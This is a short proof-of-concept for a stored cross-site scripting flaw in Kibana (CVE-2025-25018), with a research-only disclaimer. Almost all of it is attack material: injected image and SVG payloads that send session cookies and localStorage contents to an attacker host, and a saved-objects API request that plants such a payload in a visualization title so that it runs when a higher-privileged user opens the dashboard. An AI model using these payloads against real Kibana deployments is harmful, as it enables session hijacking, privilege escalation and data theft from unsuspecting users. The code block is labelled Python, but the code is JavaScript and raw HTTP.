The following code is for security research and authorized testing only.
python
<!--
CVE-2025-25018 - Kibana Stored XSS PoC
Vulnerability: Improper Neutralization of Input During Web Page Generation
Tested on Kibana versions prior to 8.18.8, 8.19.5, 9.0.8, 9.1.5
-->
// Step 1: Attacker logs into Kibana with low-privilege account
// Step 2: Inject malicious payload into a vulnerable input field
// Example payload for visualization title or dashboard description:
var maliciousPayload = '<img src=x onerror="fetch(\'http://attacker.com/steal?cookie=\'+document.cookie)">';
// Alternative payloads:
var payload2 = '<svg onload="javascript:fetch(\'http://attacker.com/exfil\',{method:\'POST\',body:JSON.stringify({cookies:document.cookie,localStorage:JSON.stringify(localStorage)})})">';
// Step 3: Submit the data through Kibana API
// Example: Create or update a visualization with malicious title
POST /api/saved_objects/visualization/<viz-id>
Content-Type: application/json
{
"attributes": {
"title": "<img src=x onerror=\"fetch('http://attacker.com/steal?c='+document.cookie)\">",
"description": "Legitimate description",
"visState": "{}",
"kibanaSavedObjectMeta": {
"searchSourceJSON": "{}"
}
}
}
// Step 4: When a higher-privileged user views the dashboard,
// the malicious script executes in their browser context
// and exfiltrates sensitive data to the attacker's server.